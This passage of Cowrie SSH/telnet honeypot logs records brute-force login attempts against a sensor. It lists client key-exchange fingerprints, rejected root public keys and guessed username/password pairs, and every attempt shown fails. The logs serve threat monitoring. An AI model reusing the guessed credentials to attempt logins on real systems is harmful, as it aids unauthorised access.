{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.136759Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:58:c1:ef:2a:68:39:33:ba:4a:6f:7d:83:37:78:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA080Xddwc7bFkMGk7Yxv5pEUgY6wbuTa1pahCF/YPWOUIrpyf0y+zVawvIp2LJoj8arBkh9xaZ1GHrELIIAlhXBM4cgBb94WFshX8BeEDy1jgASAhavO9NnNC3QbQ8oOxx+g33l0R0pGDQ7qTecnueFx+8+aaQEZae2T/wuKoPyO6ZdAWvzNZ6In65TxywYS6Oe2/McKFEbu9GdPGdeqfdhl84A7NX7rgBf1h8ywFBB2vwSzXzeKsV/BC6Cmqn1yEzWzUEJDHvekDirMh7zBm6/yKZ1pBRTY1MvxOYtLi084ox9OJhAVROJwz8YVR8y6psNJRqriUnffElsK0oy+6JQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:58:c1:ef:2a:68:39:33:ba:4a:6f:7d:83:37:78:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.474377Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:58:c1:ef:2a:68:39:33:ba:4a:6f:7d:83:37:78:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA080Xddwc7bFkMGk7Yxv5pEUgY6wbuTa1pahCF/YPWOUIrpyf0y+zVawvIp2LJoj8arBkh9xaZ1GHrELIIAlhXBM4cgBb94WFshX8BeEDy1jgASAhavO9NnNC3QbQ8oOxx+g33l0R0pGDQ7qTecnueFx+8+aaQEZae2T/wuKoPyO6ZdAWvzNZ6In65TxywYS6Oe2/McKFEbu9GdPGdeqfdhl84A7NX7rgBf1h8ywFBB2vwSzXzeKsV/BC6Cmqn1yEzWzUEJDHvekDirMh7zBm6/yKZ1pBRTY1MvxOYtLi084ox9OJhAVROJwz8YVR8y6psNJRqriUnffElsK0oy+6JQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.477556Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:38:53:b9:9a:8a:23:0e:bd:07:d1:08:a3:cf:8c:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkoOEQBrdDz3/q3vOZSzbQvY8GgbpPAyyyAf8gqOmL6wnWLaErGSeuxipXAMskxI2AFxG6uZhl7hsdZx12VzsfIwP2F4+MHdd2GMyo42DRmMV2mfHlbwhcSFG/b72fJWIMKxf15GoGy5o8M/2zYUvO05LwbPQfNCsi8rGybTMWgpFW7wENu80e/kjAVTCXyRRU4+hH7iG8ejNw5p68mznK1z6AInsupVisxE+zrYOaU0Fx9s9wlIdHD5Wr/SrsO1b7kPse4vvTqDwU63rb7LuakDd8d9tpNWanZ9dWlV6xev07Shx7uwLWvL2I7p1crwAfDmQqGvgbsfeL6G/YmlLB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:38:53:b9:9a:8a:23:0e:bd:07:d1:08:a3:cf:8c:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.549430Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:38:53:b9:9a:8a:23:0e:bd:07:d1:08:a3:cf:8c:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkoOEQBrdDz3/q3vOZSzbQvY8GgbpPAyyyAf8gqOmL6wnWLaErGSeuxipXAMskxI2AFxG6uZhl7hsdZx12VzsfIwP2F4+MHdd2GMyo42DRmMV2mfHlbwhcSFG/b72fJWIMKxf15GoGy5o8M/2zYUvO05LwbPQfNCsi8rGybTMWgpFW7wENu80e/kjAVTCXyRRU4+hH7iG8ejNw5p68mznK1z6AInsupVisxE+zrYOaU0Fx9s9wlIdHD5Wr/SrsO1b7kPse4vvTqDwU63rb7LuakDd8d9tpNWanZ9dWlV6xev07Shx7uwLWvL2I7p1crwAfDmQqGvgbsfeL6G/YmlLB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.552646Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:91:00:5d:fe:0a:0b:f7:85:30:de:76:09:d3:bd:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX1xYMUgnhFbtRsCLFA+OHboxwE73kju21qZ2trOJ8jdAo8JphiRXanso2xddxrVrHkLxsZ/pAi9kweo45T7fyOw7DfVsPlkcEF3BGSdlC8/aetztgfwP8HzpbOMyLYU/UyRkJKDrCxwlUhhQU07JfGpRr+AFQu+Jtj4pbodqqPV3zL2YrZ9gRYepNXQ5SaFziPSNJJf0IFxwat2YUkWn8Ax1GJ5WKwxG7ptTGfPJ3vcqcDN4BjXTBD19n/ylnxevnO8QyqsIVqbeb4NhYbnEcvySMV2/DbMse5JZTE87hBQ3ZsV4r9F02uQWM2sDVLTw/fd2juk8ZTJqhpGA4y49f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:91:00:5d:fe:0a:0b:f7:85:30:de:76:09:d3:bd:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.626008Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:91:00:5d:fe:0a:0b:f7:85:30:de:76:09:d3:bd:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX1xYMUgnhFbtRsCLFA+OHboxwE73kju21qZ2trOJ8jdAo8JphiRXanso2xddxrVrHkLxsZ/pAi9kweo45T7fyOw7DfVsPlkcEF3BGSdlC8/aetztgfwP8HzpbOMyLYU/UyRkJKDrCxwlUhhQU07JfGpRr+AFQu+Jtj4pbodqqPV3zL2YrZ9gRYepNXQ5SaFziPSNJJf0IFxwat2YUkWn8Ax1GJ5WKwxG7ptTGfPJ3vcqcDN4BjXTBD19n/ylnxevnO8QyqsIVqbeb4NhYbnEcvySMV2/DbMse5JZTE87hBQ3ZsV4r9F02uQWM2sDVLTw/fd2juk8ZTJqhpGA4y49f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.629252Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:20:59:a7:b2:49:0c:01:8e:d1:32:2d:7c:ec:dc:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWPtULGtvT7qmrH/NoPQt0qF9WiRlkwZaR8CwnviN1PhslxjjUGl8G+5TkkwxI4r/xLHBeD2YcEw7Tt+eIJFXvE2OrsaCUfLfLCp9fPbsGo9SUEo0TR4+ou26LVEiVqtLwic1HT2nfGd23EbsAF5cJQ7RJRcsF+378pHTM7v7NW4G7J3lTmqdW7U48Yibsze6MOp0gsyGtZrzSrd/Dek5ZpaN7fyo5Q/xddI+m4gNENo9e18NZbonqjFaRoPKeukRePISlwWGyI2S4KzXeeBx2Zd8DgHF+mZfiE4hOyrT2h7wDykIQQW6PBnYzflat8flsJrHFJtg/cz2vMEl3/Z+l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:20:59:a7:b2:49:0c:01:8e:d1:32:2d:7c:ec:dc:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.701351Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:20:59:a7:b2:49:0c:01:8e:d1:32:2d:7c:ec:dc:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWPtULGtvT7qmrH/NoPQt0qF9WiRlkwZaR8CwnviN1PhslxjjUGl8G+5TkkwxI4r/xLHBeD2YcEw7Tt+eIJFXvE2OrsaCUfLfLCp9fPbsGo9SUEo0TR4+ou26LVEiVqtLwic1HT2nfGd23EbsAF5cJQ7RJRcsF+378pHTM7v7NW4G7J3lTmqdW7U48Yibsze6MOp0gsyGtZrzSrd/Dek5ZpaN7fyo5Q/xddI+m4gNENo9e18NZbonqjFaRoPKeukRePISlwWGyI2S4KzXeeBx2Zd8DgHF+mZfiE4hOyrT2h7wDykIQQW6PBnYzflat8flsJrHFJtg/cz2vMEl3/Z+l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.704277Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:c0:27:83:a2:24:f3:ad:31:09:21:ea:ee:02:5f:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCldeAVPaC6KvzTNV7uS9kcPFC2JhHXFdONRo3YsrTmw7d9NPp+Dza51H1r/FKH+vOCxmohXYkS6dnusDatQw0445CPOV9M8TDDrf92yfWOqxAF98+ReavHsya+xB25hLzoszeRbKEA8uJEbIEfOxFNwAp/5/rGXodEA3cNhUyrMsooHTMYo9JuL1Gwdxk++8Q5NCagm6U7TriaVhsmtrMlTBWdIGK5W2f4F8DYaIdJeeZHKur2nfXGvAnGWwScFFfc+2SfpwHo2U2BnGNf0NvgnOF1lf0ZhANO8bOaX3hkiiWibtmXwzSOULjfrVOVpS2MB6wA0uajGWPx4gprgQeJlIezIZwwj25KwxdjGm9hwu3ERGgUc6p33TU4dTNwBN9XFMNJTGpzctOYd9UHS/9Z61acddNUOppZmrqNyelL+CgjjOfnmPiASSJpfptZa4sgYpWXjDHB43TWROAnkyjcIgf5vNBiIH3OH+IDwcIxgFaRhAiFbgxSDnnLw8V8tgMTUzH9VOxRYIGq6KsdK6JEIBwpI0rk7TJucELzIXf9vXX+3/pHYU+pIMnvXCzRr9XK3KnFkRQ+WRAulX5ZJcn4lzjD3zoH+RgrzvRcEznLsRB2kK6rFW14NdeWAIDRe1S7Qgnf3QOdHUWG5aHGMqCjVQz4ybMtWgoMwWyFww6iOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:c0:27:83:a2:24:f3:ad:31:09:21:ea:ee:02:5f:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.776053Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:c0:27:83:a2:24:f3:ad:31:09:21:ea:ee:02:5f:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCldeAVPaC6KvzTNV7uS9kcPFC2JhHXFdONRo3YsrTmw7d9NPp+Dza51H1r/FKH+vOCxmohXYkS6dnusDatQw0445CPOV9M8TDDrf92yfWOqxAF98+ReavHsya+xB25hLzoszeRbKEA8uJEbIEfOxFNwAp/5/rGXodEA3cNhUyrMsooHTMYo9JuL1Gwdxk++8Q5NCagm6U7TriaVhsmtrMlTBWdIGK5W2f4F8DYaIdJeeZHKur2nfXGvAnGWwScFFfc+2SfpwHo2U2BnGNf0NvgnOF1lf0ZhANO8bOaX3hkiiWibtmXwzSOULjfrVOVpS2MB6wA0uajGWPx4gprgQeJlIezIZwwj25KwxdjGm9hwu3ERGgUc6p33TU4dTNwBN9XFMNJTGpzctOYd9UHS/9Z61acddNUOppZmrqNyelL+CgjjOfnmPiASSJpfptZa4sgYpWXjDHB43TWROAnkyjcIgf5vNBiIH3OH+IDwcIxgFaRhAiFbgxSDnnLw8V8tgMTUzH9VOxRYIGq6KsdK6JEIBwpI0rk7TJucELzIXf9vXX+3/pHYU+pIMnvXCzRr9XK3KnFkRQ+WRAulX5ZJcn4lzjD3zoH+RgrzvRcEznLsRB2kK6rFW14NdeWAIDRe1S7Qgnf3QOdHUWG5aHGMqCjVQz4ybMtWgoMwWyFww6iOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.779031Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:57.851207Z","src_ip":"74.48.105.66","session":"1e214f1cdd23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":41304,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4ce5f02791","protocol":"ssh","message":"New connection: 146.190.154.85:41304 (159.203.135.109:22) [session: 3e4ce5f02791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:58.786436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:58.793342Z","src_ip":"146.190.154.85","session":"3e4ce5f02791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:58.869806Z","src_ip":"146.190.154.85","session":"3e4ce5f02791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bangalore","password":"bangalore","message":"login attempt [bangalore/bangalore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:03:59.210708Z","src_ip":"146.190.154.85","session":"3e4ce5f02791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:00.290966Z","src_ip":"146.190.154.85","session":"3e4ce5f02791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58686,"dst_ip":"10.17.0.5","dst_port":22,"session":"dee3b881b36c","protocol":"ssh","message":"New connection: 91.92.40.4:58686 (10.17.0.5:22) [session: dee3b881b36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:11.980671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:11.984416Z","src_ip":"91.92.40.4","session":"dee3b881b36c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:12.066192Z","src_ip":"91.92.40.4","session":"dee3b881b36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23560643196106,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:12.119425Z","src_ip":"170.64.224.25","session":"094f684b7929","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"321123","message":"login attempt [user/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:12.313811Z","src_ip":"91.92.40.4","session":"dee3b881b36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:13.685031Z","src_ip":"91.92.40.4","session":"dee3b881b36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.62960982322693,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:22.201805Z","src_ip":"170.64.224.25","session":"b652112ecb4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d68221fac2fa","protocol":"ssh","message":"New connection: 103.82.132.16:34312 (10.17.0.5:22) [session: d68221fac2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:35.962142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:35.966567Z","src_ip":"103.82.132.16","session":"d68221fac2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:36.225157Z","src_ip":"103.82.132.16","session":"d68221fac2fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031982","message":"login attempt [root/12031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:36.999484Z","src_ip":"103.82.132.16","session":"d68221fac2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:38.259059Z","src_ip":"103.82.132.16","session":"d68221fac2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":48018,"dst_ip":"159.203.135.109","dst_port":22,"session":"127d2c8062fa","protocol":"ssh","message":"New connection: 185.215.164.223:48018 (159.203.135.109:22) [session: 127d2c8062fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:38.299751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:04:38.304656Z","src_ip":"185.215.164.223","session":"127d2c8062fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-